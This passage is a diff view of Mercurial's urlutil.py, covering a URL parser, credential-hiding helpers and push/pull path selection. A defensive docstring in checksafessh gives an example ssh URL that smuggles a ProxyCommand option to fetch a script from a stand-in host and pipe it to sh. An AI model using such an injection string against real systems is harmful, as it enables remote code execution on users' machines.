##// END OF EJS Templates
path-suboption: use str for "pushrev" suboptions...
marmoute -
r51800:b59ad429 default
parent child Browse files
Show More
@@ -1,980 +1,980 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27 from ..revlogutils import (
27 from ..revlogutils import (
28 constants as revlog_constants,
28 constants as revlog_constants,
29 )
29 )
30
30
31
31
32 if pycompat.TYPE_CHECKING:
32 if pycompat.TYPE_CHECKING:
33 from typing import (
33 from typing import (
34 Union,
34 Union,
35 )
35 )
36
36
37 urlreq = urllibcompat.urlreq
37 urlreq = urllibcompat.urlreq
38
38
39
39
40 def getport(port):
40 def getport(port):
41 # type: (Union[bytes, int]) -> int
41 # type: (Union[bytes, int]) -> int
42 """Return the port for a given network service.
42 """Return the port for a given network service.
43
43
44 If port is an integer, it's returned as is. If it's a string, it's
44 If port is an integer, it's returned as is. If it's a string, it's
45 looked up using socket.getservbyname(). If there's no matching
45 looked up using socket.getservbyname(). If there's no matching
46 service, error.Abort is raised.
46 service, error.Abort is raised.
47 """
47 """
48 try:
48 try:
49 return int(port)
49 return int(port)
50 except ValueError:
50 except ValueError:
51 pass
51 pass
52
52
53 try:
53 try:
54 return socket.getservbyname(pycompat.sysstr(port))
54 return socket.getservbyname(pycompat.sysstr(port))
55 except socket.error:
55 except socket.error:
56 raise error.Abort(
56 raise error.Abort(
57 _(b"no port number associated with service '%s'") % port
57 _(b"no port number associated with service '%s'") % port
58 )
58 )
59
59
60
60
61 class url:
61 class url:
62 r"""Reliable URL parser.
62 r"""Reliable URL parser.
63
63
64 This parses URLs and provides attributes for the following
64 This parses URLs and provides attributes for the following
65 components:
65 components:
66
66
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68
68
69 Missing components are set to None. The only exception is
69 Missing components are set to None. The only exception is
70 fragment, which is set to '' if present but empty.
70 fragment, which is set to '' if present but empty.
71
71
72 If parsefragment is False, fragment is included in query. If
72 If parsefragment is False, fragment is included in query. If
73 parsequery is False, query is included in path. If both are
73 parsequery is False, query is included in path. If both are
74 False, both fragment and query are included in path.
74 False, both fragment and query are included in path.
75
75
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77
77
78 Note that for backward compatibility reasons, bundle URLs do not
78 Note that for backward compatibility reasons, bundle URLs do not
79 take host names. That means 'bundle://../' has a path of '../'.
79 take host names. That means 'bundle://../' has a path of '../'.
80
80
81 Examples:
81 Examples:
82
82
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 >>> url(b'file:///home/joe/repo')
87 >>> url(b'file:///home/joe/repo')
88 <url scheme: 'file', path: '/home/joe/repo'>
88 <url scheme: 'file', path: '/home/joe/repo'>
89 >>> url(b'file:///c:/temp/foo/')
89 >>> url(b'file:///c:/temp/foo/')
90 <url scheme: 'file', path: 'c:/temp/foo/'>
90 <url scheme: 'file', path: 'c:/temp/foo/'>
91 >>> url(b'bundle:foo')
91 >>> url(b'bundle:foo')
92 <url scheme: 'bundle', path: 'foo'>
92 <url scheme: 'bundle', path: 'foo'>
93 >>> url(b'bundle://../foo')
93 >>> url(b'bundle://../foo')
94 <url scheme: 'bundle', path: '../foo'>
94 <url scheme: 'bundle', path: '../foo'>
95 >>> url(br'c:\foo\bar')
95 >>> url(br'c:\foo\bar')
96 <url path: 'c:\\foo\\bar'>
96 <url path: 'c:\\foo\\bar'>
97 >>> url(br'\\blah\blah\blah')
97 >>> url(br'\\blah\blah\blah')
98 <url path: '\\\\blah\\blah\\blah'>
98 <url path: '\\\\blah\\blah\\blah'>
99 >>> url(br'\\blah\blah\blah#baz')
99 >>> url(br'\\blah\blah\blah#baz')
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 >>> url(br'file:///C:\users\me')
101 >>> url(br'file:///C:\users\me')
102 <url scheme: 'file', path: 'C:\\users\\me'>
102 <url scheme: 'file', path: 'C:\\users\\me'>
103
103
104 Authentication credentials:
104 Authentication credentials:
105
105
106 >>> url(b'ssh://joe:xyz@x/repo')
106 >>> url(b'ssh://joe:xyz@x/repo')
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 >>> url(b'ssh://joe@x/repo')
108 >>> url(b'ssh://joe@x/repo')
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110
110
111 Query strings and fragments:
111 Query strings and fragments:
112
112
113 >>> url(b'http://host/a?b#c')
113 >>> url(b'http://host/a?b#c')
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117
117
118 Empty path:
118 Empty path:
119
119
120 >>> url(b'')
120 >>> url(b'')
121 <url path: ''>
121 <url path: ''>
122 >>> url(b'#a')
122 >>> url(b'#a')
123 <url path: '', fragment: 'a'>
123 <url path: '', fragment: 'a'>
124 >>> url(b'http://host/')
124 >>> url(b'http://host/')
125 <url scheme: 'http', host: 'host', path: ''>
125 <url scheme: 'http', host: 'host', path: ''>
126 >>> url(b'http://host/#a')
126 >>> url(b'http://host/#a')
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128
128
129 Only scheme:
129 Only scheme:
130
130
131 >>> url(b'http:')
131 >>> url(b'http:')
132 <url scheme: 'http'>
132 <url scheme: 'http'>
133 """
133 """
134
134
135 _safechars = b"!~*'()+"
135 _safechars = b"!~*'()+"
136 _safepchars = b"/!~*'()+:\\"
136 _safepchars = b"/!~*'()+:\\"
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138
138
139 def __init__(self, path, parsequery=True, parsefragment=True):
139 def __init__(self, path, parsequery=True, parsefragment=True):
140 # type: (bytes, bool, bool) -> None
140 # type: (bytes, bool, bool) -> None
141 # We slowly chomp away at path until we have only the path left
141 # We slowly chomp away at path until we have only the path left
142 self.scheme = self.user = self.passwd = self.host = None
142 self.scheme = self.user = self.passwd = self.host = None
143 self.port = self.path = self.query = self.fragment = None
143 self.port = self.path = self.query = self.fragment = None
144 self._localpath = True
144 self._localpath = True
145 self._hostport = b''
145 self._hostport = b''
146 self._origpath = path
146 self._origpath = path
147
147
148 if parsefragment and b'#' in path:
148 if parsefragment and b'#' in path:
149 path, self.fragment = path.split(b'#', 1)
149 path, self.fragment = path.split(b'#', 1)
150
150
151 # special case for Windows drive letters and UNC paths
151 # special case for Windows drive letters and UNC paths
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 self.path = path
153 self.path = path
154 return
154 return
155
155
156 # For compatibility reasons, we can't handle bundle paths as
156 # For compatibility reasons, we can't handle bundle paths as
157 # normal URLS
157 # normal URLS
158 if path.startswith(b'bundle:'):
158 if path.startswith(b'bundle:'):
159 self.scheme = b'bundle'
159 self.scheme = b'bundle'
160 path = path[7:]
160 path = path[7:]
161 if path.startswith(b'//'):
161 if path.startswith(b'//'):
162 path = path[2:]
162 path = path[2:]
163 self.path = path
163 self.path = path
164 return
164 return
165
165
166 if self._matchscheme(path):
166 if self._matchscheme(path):
167 parts = path.split(b':', 1)
167 parts = path.split(b':', 1)
168 if parts[0]:
168 if parts[0]:
169 self.scheme, path = parts
169 self.scheme, path = parts
170 self._localpath = False
170 self._localpath = False
171
171
172 if not path:
172 if not path:
173 path = None
173 path = None
174 if self._localpath:
174 if self._localpath:
175 self.path = b''
175 self.path = b''
176 return
176 return
177 else:
177 else:
178 if self._localpath:
178 if self._localpath:
179 self.path = path
179 self.path = path
180 return
180 return
181
181
182 if parsequery and b'?' in path:
182 if parsequery and b'?' in path:
183 path, self.query = path.split(b'?', 1)
183 path, self.query = path.split(b'?', 1)
184 if not path:
184 if not path:
185 path = None
185 path = None
186 if not self.query:
186 if not self.query:
187 self.query = None
187 self.query = None
188
188
189 # // is required to specify a host/authority
189 # // is required to specify a host/authority
190 if path and path.startswith(b'//'):
190 if path and path.startswith(b'//'):
191 parts = path[2:].split(b'/', 1)
191 parts = path[2:].split(b'/', 1)
192 if len(parts) > 1:
192 if len(parts) > 1:
193 self.host, path = parts
193 self.host, path = parts
194 else:
194 else:
195 self.host = parts[0]
195 self.host = parts[0]
196 path = None
196 path = None
197 if not self.host:
197 if not self.host:
198 self.host = None
198 self.host = None
199 # path of file:///d is /d
199 # path of file:///d is /d
200 # path of file:///d:/ is d:/, not /d:/
200 # path of file:///d:/ is d:/, not /d:/
201 if path and not hasdriveletter(path):
201 if path and not hasdriveletter(path):
202 path = b'/' + path
202 path = b'/' + path
203
203
204 if self.host and b'@' in self.host:
204 if self.host and b'@' in self.host:
205 self.user, self.host = self.host.rsplit(b'@', 1)
205 self.user, self.host = self.host.rsplit(b'@', 1)
206 if b':' in self.user:
206 if b':' in self.user:
207 self.user, self.passwd = self.user.split(b':', 1)
207 self.user, self.passwd = self.user.split(b':', 1)
208 if not self.host:
208 if not self.host:
209 self.host = None
209 self.host = None
210
210
211 # Don't split on colons in IPv6 addresses without ports
211 # Don't split on colons in IPv6 addresses without ports
212 if (
212 if (
213 self.host
213 self.host
214 and b':' in self.host
214 and b':' in self.host
215 and not (
215 and not (
216 self.host.startswith(b'[') and self.host.endswith(b']')
216 self.host.startswith(b'[') and self.host.endswith(b']')
217 )
217 )
218 ):
218 ):
219 self._hostport = self.host
219 self._hostport = self.host
220 self.host, self.port = self.host.rsplit(b':', 1)
220 self.host, self.port = self.host.rsplit(b':', 1)
221 if not self.host:
221 if not self.host:
222 self.host = None
222 self.host = None
223
223
224 if (
224 if (
225 self.host
225 self.host
226 and self.scheme == b'file'
226 and self.scheme == b'file'
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 ):
228 ):
229 raise error.Abort(
229 raise error.Abort(
230 _(b'file:// URLs can only refer to localhost')
230 _(b'file:// URLs can only refer to localhost')
231 )
231 )
232
232
233 self.path = path
233 self.path = path
234
234
235 # leave the query string escaped
235 # leave the query string escaped
236 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
236 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
237 v = getattr(self, a)
237 v = getattr(self, a)
238 if v is not None:
238 if v is not None:
239 setattr(self, a, urlreq.unquote(v))
239 setattr(self, a, urlreq.unquote(v))
240
240
241 def copy(self):
241 def copy(self):
242 u = url(b'temporary useless value')
242 u = url(b'temporary useless value')
243 u.path = self.path
243 u.path = self.path
244 u.scheme = self.scheme
244 u.scheme = self.scheme
245 u.user = self.user
245 u.user = self.user
246 u.passwd = self.passwd
246 u.passwd = self.passwd
247 u.host = self.host
247 u.host = self.host
248 u.port = self.port
248 u.port = self.port
249 u.query = self.query
249 u.query = self.query
250 u.fragment = self.fragment
250 u.fragment = self.fragment
251 u._localpath = self._localpath
251 u._localpath = self._localpath
252 u._hostport = self._hostport
252 u._hostport = self._hostport
253 u._origpath = self._origpath
253 u._origpath = self._origpath
254 return u
254 return u
255
255
256 @encoding.strmethod
256 @encoding.strmethod
257 def __repr__(self):
257 def __repr__(self):
258 attrs = []
258 attrs = []
259 for a in (
259 for a in (
260 'scheme',
260 'scheme',
261 'user',
261 'user',
262 'passwd',
262 'passwd',
263 'host',
263 'host',
264 'port',
264 'port',
265 'path',
265 'path',
266 'query',
266 'query',
267 'fragment',
267 'fragment',
268 ):
268 ):
269 v = getattr(self, a)
269 v = getattr(self, a)
270 if v is not None:
270 if v is not None:
271 line = b'%s: %r'
271 line = b'%s: %r'
272 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
272 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
273 attrs.append(line)
273 attrs.append(line)
274 return b'<url %s>' % b', '.join(attrs)
274 return b'<url %s>' % b', '.join(attrs)
275
275
276 def __bytes__(self):
276 def __bytes__(self):
277 r"""Join the URL's components back into a URL string.
277 r"""Join the URL's components back into a URL string.
278
278
279 Examples:
279 Examples:
280
280
281 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
281 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
282 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
282 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
284 'http://user:pw@host:80/?foo=bar&baz=42'
284 'http://user:pw@host:80/?foo=bar&baz=42'
285 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
285 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
286 'http://user:pw@host:80/?foo=bar%3dbaz'
286 'http://user:pw@host:80/?foo=bar%3dbaz'
287 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
287 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
288 'ssh://user:pw@[::1]:2200//home/joe#'
288 'ssh://user:pw@[::1]:2200//home/joe#'
289 >>> bytes(url(b'http://localhost:80//'))
289 >>> bytes(url(b'http://localhost:80//'))
290 'http://localhost:80//'
290 'http://localhost:80//'
291 >>> bytes(url(b'http://localhost:80/'))
291 >>> bytes(url(b'http://localhost:80/'))
292 'http://localhost:80/'
292 'http://localhost:80/'
293 >>> bytes(url(b'http://localhost:80'))
293 >>> bytes(url(b'http://localhost:80'))
294 'http://localhost:80/'
294 'http://localhost:80/'
295 >>> bytes(url(b'bundle:foo'))
295 >>> bytes(url(b'bundle:foo'))
296 'bundle:foo'
296 'bundle:foo'
297 >>> bytes(url(b'bundle://../foo'))
297 >>> bytes(url(b'bundle://../foo'))
298 'bundle:../foo'
298 'bundle:../foo'
299 >>> bytes(url(b'path'))
299 >>> bytes(url(b'path'))
300 'path'
300 'path'
301 >>> bytes(url(b'file:///tmp/foo/bar'))
301 >>> bytes(url(b'file:///tmp/foo/bar'))
302 'file:///tmp/foo/bar'
302 'file:///tmp/foo/bar'
303 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
303 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
304 'file:///c:/tmp/foo/bar'
304 'file:///c:/tmp/foo/bar'
305 >>> print(url(br'bundle:foo\bar'))
305 >>> print(url(br'bundle:foo\bar'))
306 bundle:foo\bar
306 bundle:foo\bar
307 >>> print(url(br'file:///D:\data\hg'))
307 >>> print(url(br'file:///D:\data\hg'))
308 file:///D:\data\hg
308 file:///D:\data\hg
309 """
309 """
310 if self._localpath:
310 if self._localpath:
311 s = self.path
311 s = self.path
312 if self.scheme == b'bundle':
312 if self.scheme == b'bundle':
313 s = b'bundle:' + s
313 s = b'bundle:' + s
314 if self.fragment:
314 if self.fragment:
315 s += b'#' + self.fragment
315 s += b'#' + self.fragment
316 return s
316 return s
317
317
318 s = self.scheme + b':'
318 s = self.scheme + b':'
319 if self.user or self.passwd or self.host:
319 if self.user or self.passwd or self.host:
320 s += b'//'
320 s += b'//'
321 elif self.scheme and (
321 elif self.scheme and (
322 not self.path
322 not self.path
323 or self.path.startswith(b'/')
323 or self.path.startswith(b'/')
324 or hasdriveletter(self.path)
324 or hasdriveletter(self.path)
325 ):
325 ):
326 s += b'//'
326 s += b'//'
327 if hasdriveletter(self.path):
327 if hasdriveletter(self.path):
328 s += b'/'
328 s += b'/'
329 if self.user:
329 if self.user:
330 s += urlreq.quote(self.user, safe=self._safechars)
330 s += urlreq.quote(self.user, safe=self._safechars)
331 if self.passwd:
331 if self.passwd:
332 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
332 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
333 if self.user or self.passwd:
333 if self.user or self.passwd:
334 s += b'@'
334 s += b'@'
335 if self.host:
335 if self.host:
336 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
336 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
337 s += urlreq.quote(self.host)
337 s += urlreq.quote(self.host)
338 else:
338 else:
339 s += self.host
339 s += self.host
340 if self.port:
340 if self.port:
341 s += b':' + urlreq.quote(self.port)
341 s += b':' + urlreq.quote(self.port)
342 if self.host:
342 if self.host:
343 s += b'/'
343 s += b'/'
344 if self.path:
344 if self.path:
345 # TODO: similar to the query string, we should not unescape the
345 # TODO: similar to the query string, we should not unescape the
346 # path when we store it, the path might contain '%2f' = '/',
346 # path when we store it, the path might contain '%2f' = '/',
347 # which we should *not* escape.
347 # which we should *not* escape.
348 s += urlreq.quote(self.path, safe=self._safepchars)
348 s += urlreq.quote(self.path, safe=self._safepchars)
349 if self.query:
349 if self.query:
350 # we store the query in escaped form.
350 # we store the query in escaped form.
351 s += b'?' + self.query
351 s += b'?' + self.query
352 if self.fragment is not None:
352 if self.fragment is not None:
353 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
353 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
354 return s
354 return s
355
355
356 __str__ = encoding.strmethod(__bytes__)
356 __str__ = encoding.strmethod(__bytes__)
357
357
358 def authinfo(self):
358 def authinfo(self):
359 user, passwd = self.user, self.passwd
359 user, passwd = self.user, self.passwd
360 try:
360 try:
361 self.user, self.passwd = None, None
361 self.user, self.passwd = None, None
362 s = bytes(self)
362 s = bytes(self)
363 finally:
363 finally:
364 self.user, self.passwd = user, passwd
364 self.user, self.passwd = user, passwd
365 if not self.user:
365 if not self.user:
366 return (s, None)
366 return (s, None)
367 # authinfo[1] is passed to urllib2 password manager, and its
367 # authinfo[1] is passed to urllib2 password manager, and its
368 # URIs must not contain credentials. The host is passed in the
368 # URIs must not contain credentials. The host is passed in the
369 # URIs list because Python < 2.4.3 uses only that to search for
369 # URIs list because Python < 2.4.3 uses only that to search for
370 # a password.
370 # a password.
371 return (s, (None, (s, self.host), self.user, self.passwd or b''))
371 return (s, (None, (s, self.host), self.user, self.passwd or b''))
372
372
373 def isabs(self):
373 def isabs(self):
374 if self.scheme and self.scheme != b'file':
374 if self.scheme and self.scheme != b'file':
375 return True # remote URL
375 return True # remote URL
376 if hasdriveletter(self.path):
376 if hasdriveletter(self.path):
377 return True # absolute for our purposes - can't be joined()
377 return True # absolute for our purposes - can't be joined()
378 if self.path.startswith(br'\\'):
378 if self.path.startswith(br'\\'):
379 return True # Windows UNC path
379 return True # Windows UNC path
380 if self.path.startswith(b'/'):
380 if self.path.startswith(b'/'):
381 return True # POSIX-style
381 return True # POSIX-style
382 return False
382 return False
383
383
384 def localpath(self):
384 def localpath(self):
385 # type: () -> bytes
385 # type: () -> bytes
386 if self.scheme == b'file' or self.scheme == b'bundle':
386 if self.scheme == b'file' or self.scheme == b'bundle':
387 path = self.path or b'/'
387 path = self.path or b'/'
388 # For Windows, we need to promote hosts containing drive
388 # For Windows, we need to promote hosts containing drive
389 # letters to paths with drive letters.
389 # letters to paths with drive letters.
390 if hasdriveletter(self._hostport):
390 if hasdriveletter(self._hostport):
391 path = self._hostport + b'/' + self.path
391 path = self._hostport + b'/' + self.path
392 elif (
392 elif (
393 self.host is not None and self.path and not hasdriveletter(path)
393 self.host is not None and self.path and not hasdriveletter(path)
394 ):
394 ):
395 path = b'/' + path
395 path = b'/' + path
396 return path
396 return path
397 return self._origpath
397 return self._origpath
398
398
399 def islocal(self):
399 def islocal(self):
400 '''whether localpath will return something that posixfile can open'''
400 '''whether localpath will return something that posixfile can open'''
401 return (
401 return (
402 not self.scheme
402 not self.scheme
403 or self.scheme == b'file'
403 or self.scheme == b'file'
404 or self.scheme == b'bundle'
404 or self.scheme == b'bundle'
405 )
405 )
406
406
407
407
408 def hasscheme(path):
408 def hasscheme(path):
409 # type: (bytes) -> bool
409 # type: (bytes) -> bool
410 return bool(url(path).scheme) # cast to help pytype
410 return bool(url(path).scheme) # cast to help pytype
411
411
412
412
413 def hasdriveletter(path):
413 def hasdriveletter(path):
414 # type: (bytes) -> bool
414 # type: (bytes) -> bool
415 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
415 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
416
416
417
417
418 def urllocalpath(path):
418 def urllocalpath(path):
419 # type: (bytes) -> bytes
419 # type: (bytes) -> bytes
420 return url(path, parsequery=False, parsefragment=False).localpath()
420 return url(path, parsequery=False, parsefragment=False).localpath()
421
421
422
422
423 def checksafessh(path):
423 def checksafessh(path):
424 # type: (bytes) -> None
424 # type: (bytes) -> None
425 """check if a path / url is a potentially unsafe ssh exploit (SEC)
425 """check if a path / url is a potentially unsafe ssh exploit (SEC)
426
426
427 This is a sanity check for ssh urls. ssh will parse the first item as
427 This is a sanity check for ssh urls. ssh will parse the first item as
428 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
428 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
429 Let's prevent these potentially exploited urls entirely and warn the
429 Let's prevent these potentially exploited urls entirely and warn the
430 user.
430 user.
431
431
432 Raises an error.Abort when the url is unsafe.
432 Raises an error.Abort when the url is unsafe.
433 """
433 """
434 path = urlreq.unquote(path)
434 path = urlreq.unquote(path)
435 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
435 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
436 raise error.Abort(
436 raise error.Abort(
437 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
437 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
438 )
438 )
439
439
440
440
441 def hidepassword(u):
441 def hidepassword(u):
442 # type: (bytes) -> bytes
442 # type: (bytes) -> bytes
443 '''hide user credential in a url string'''
443 '''hide user credential in a url string'''
444 u = url(u)
444 u = url(u)
445 if u.passwd:
445 if u.passwd:
446 u.passwd = b'***'
446 u.passwd = b'***'
447 return bytes(u)
447 return bytes(u)
448
448
449
449
450 def removeauth(u):
450 def removeauth(u):
451 # type: (bytes) -> bytes
451 # type: (bytes) -> bytes
452 '''remove all authentication information from a url string'''
452 '''remove all authentication information from a url string'''
453 u = url(u)
453 u = url(u)
454 u.user = u.passwd = None
454 u.user = u.passwd = None
455 return bytes(u)
455 return bytes(u)
456
456
457
457
458 def list_paths(ui, target_path=None):
458 def list_paths(ui, target_path=None):
459 """list all the (name, paths) in the passed ui"""
459 """list all the (name, paths) in the passed ui"""
460 result = []
460 result = []
461 if target_path is None:
461 if target_path is None:
462 for name, paths in sorted(ui.paths.items()):
462 for name, paths in sorted(ui.paths.items()):
463 for p in paths:
463 for p in paths:
464 result.append((name, p))
464 result.append((name, p))
465
465
466 else:
466 else:
467 for path in ui.paths.get(target_path, []):
467 for path in ui.paths.get(target_path, []):
468 result.append((target_path, path))
468 result.append((target_path, path))
469 return result
469 return result
470
470
471
471
472 def try_path(ui, url):
472 def try_path(ui, url):
473 """try to build a path from a url
473 """try to build a path from a url
474
474
475 Return None if no Path could built.
475 Return None if no Path could built.
476 """
476 """
477 try:
477 try:
478 # we pass the ui instance are warning might need to be issued
478 # we pass the ui instance are warning might need to be issued
479 return path(ui, None, rawloc=url)
479 return path(ui, None, rawloc=url)
480 except ValueError:
480 except ValueError:
481 return None
481 return None
482
482
483
483
484 def get_push_paths(repo, ui, dests):
484 def get_push_paths(repo, ui, dests):
485 """yields all the `path` selected as push destination by `dests`"""
485 """yields all the `path` selected as push destination by `dests`"""
486 if not dests:
486 if not dests:
487 if b'default-push' in ui.paths:
487 if b'default-push' in ui.paths:
488 for p in ui.paths[b'default-push']:
488 for p in ui.paths[b'default-push']:
489 yield p.get_push_variant()
489 yield p.get_push_variant()
490 elif b'default' in ui.paths:
490 elif b'default' in ui.paths:
491 for p in ui.paths[b'default']:
491 for p in ui.paths[b'default']:
492 yield p.get_push_variant()
492 yield p.get_push_variant()
493 else:
493 else:
494 raise error.ConfigError(
494 raise error.ConfigError(
495 _(b'default repository not configured!'),
495 _(b'default repository not configured!'),
496 hint=_(b"see 'hg help config.paths'"),
496 hint=_(b"see 'hg help config.paths'"),
497 )
497 )
498 else:
498 else:
499 for dest in dests:
499 for dest in dests:
500 if dest in ui.paths:
500 if dest in ui.paths:
501 for p in ui.paths[dest]:
501 for p in ui.paths[dest]:
502 yield p.get_push_variant()
502 yield p.get_push_variant()
503 else:
503 else:
504 path = try_path(ui, dest)
504 path = try_path(ui, dest)
505 if path is None:
505 if path is None:
506 msg = _(b'repository %s does not exist')
506 msg = _(b'repository %s does not exist')
507 msg %= dest
507 msg %= dest
508 raise error.RepoError(msg)
508 raise error.RepoError(msg)
509 yield path.get_push_variant()
509 yield path.get_push_variant()
510
510
511
511
512 def get_pull_paths(repo, ui, sources):
512 def get_pull_paths(repo, ui, sources):
513 """yields all the `(path, branch)` selected as pull source by `sources`"""
513 """yields all the `(path, branch)` selected as pull source by `sources`"""
514 if not sources:
514 if not sources:
515 sources = [b'default']
515 sources = [b'default']
516 for source in sources:
516 for source in sources:
517 if source in ui.paths:
517 if source in ui.paths:
518 for p in ui.paths[source]:
518 for p in ui.paths[source]:
519 yield p
519 yield p
520 else:
520 else:
521 p = path(ui, None, source, validate_path=False)
521 p = path(ui, None, source, validate_path=False)
522 yield p
522 yield p
523
523
524
524
525 def get_unique_push_path(action, repo, ui, dest=None):
525 def get_unique_push_path(action, repo, ui, dest=None):
526 """return a unique `path` or abort if multiple are found
526 """return a unique `path` or abort if multiple are found
527
527
528 This is useful for command and action that does not support multiple
528 This is useful for command and action that does not support multiple
529 destination (yet).
529 destination (yet).
530
530
531 The `action` parameter will be used for the error message.
531 The `action` parameter will be used for the error message.
532 """
532 """
533 if dest is None:
533 if dest is None:
534 dests = []
534 dests = []
535 else:
535 else:
536 dests = [dest]
536 dests = [dest]
537 dests = list(get_push_paths(repo, ui, dests))
537 dests = list(get_push_paths(repo, ui, dests))
538 if len(dests) != 1:
538 if len(dests) != 1:
539 if dest is None:
539 if dest is None:
540 msg = _(
540 msg = _(
541 b"default path points to %d urls while %s only supports one"
541 b"default path points to %d urls while %s only supports one"
542 )
542 )
543 msg %= (len(dests), action)
543 msg %= (len(dests), action)
544 else:
544 else:
545 msg = _(b"path points to %d urls while %s only supports one: %s")
545 msg = _(b"path points to %d urls while %s only supports one: %s")
546 msg %= (len(dests), action, dest)
546 msg %= (len(dests), action, dest)
547 raise error.Abort(msg)
547 raise error.Abort(msg)
548 return dests[0]
548 return dests[0]
549
549
550
550
551 def get_unique_pull_path_obj(action, ui, source=None):
551 def get_unique_pull_path_obj(action, ui, source=None):
552 """return a unique `(path, branch)` or abort if multiple are found
552 """return a unique `(path, branch)` or abort if multiple are found
553
553
554 This is useful for command and action that does not support multiple
554 This is useful for command and action that does not support multiple
555 destination (yet).
555 destination (yet).
556
556
557 The `action` parameter will be used for the error message.
557 The `action` parameter will be used for the error message.
558
558
559 note: Ideally, this function would be called `get_unique_pull_path` to
559 note: Ideally, this function would be called `get_unique_pull_path` to
560 mirror the `get_unique_push_path`, but the name was already taken.
560 mirror the `get_unique_push_path`, but the name was already taken.
561 """
561 """
562 sources = []
562 sources = []
563 if source is not None:
563 if source is not None:
564 sources.append(source)
564 sources.append(source)
565
565
566 pull_paths = list(get_pull_paths(None, ui, sources=sources))
566 pull_paths = list(get_pull_paths(None, ui, sources=sources))
567 path_count = len(pull_paths)
567 path_count = len(pull_paths)
568 if path_count != 1:
568 if path_count != 1:
569 if source is None:
569 if source is None:
570 msg = _(
570 msg = _(
571 b"default path points to %d urls while %s only supports one"
571 b"default path points to %d urls while %s only supports one"
572 )
572 )
573 msg %= (path_count, action)
573 msg %= (path_count, action)
574 else:
574 else:
575 msg = _(b"path points to %d urls while %s only supports one: %s")
575 msg = _(b"path points to %d urls while %s only supports one: %s")
